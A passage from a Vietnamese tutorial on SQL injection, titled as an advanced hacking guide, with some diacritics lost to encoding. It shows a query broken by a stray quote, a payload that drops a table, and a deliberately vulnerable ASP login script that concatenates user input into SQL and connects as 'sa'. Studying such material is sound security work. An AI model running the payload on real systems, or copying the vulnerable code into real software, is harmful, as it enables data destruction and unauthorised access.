Hack Sql Inject nâng cao
trang này đã được đọc ln
Các bn th xem mt câu truy vn SQL:
select id, forename, surname from authors
thì 'id','forename' và 'surname' là column ca table author,khi câu truy vn trên làm vic thì nó s
cho kết qu tt cã các dòng trong table author.Xem câu truy vn sau:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
Đây là câu truy vn có điu kin chc không nói các bn cũng biết,nó cho ra kết qu tt cã nhng
ai trong csdl vi forename = 'john' and surname = 'smith'
Vì vy khi vào giá tr đu vào không đúng như trong csdl liu:
Forename: jo'hn
Surname: smith
Câu truy vn tr thành:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
Câu truy vn trên khi được x lý thì nó s phát sinh li:
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'.
Lý do là ta lng vào du nháy đơn "'" và giá tr vào tr thành 'hn' sai so vi csdl vy s phát sinh
li li dng cái này attacker có th xoá d liu ca bn như sau:
Forename: jo'; drop table authors--
Table author s b xóa>nguy him phi không
Nhìn vào đon code asp sau:đây là mt form login
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%
Page 4
width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
Đây là code 'process_login.asp'
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );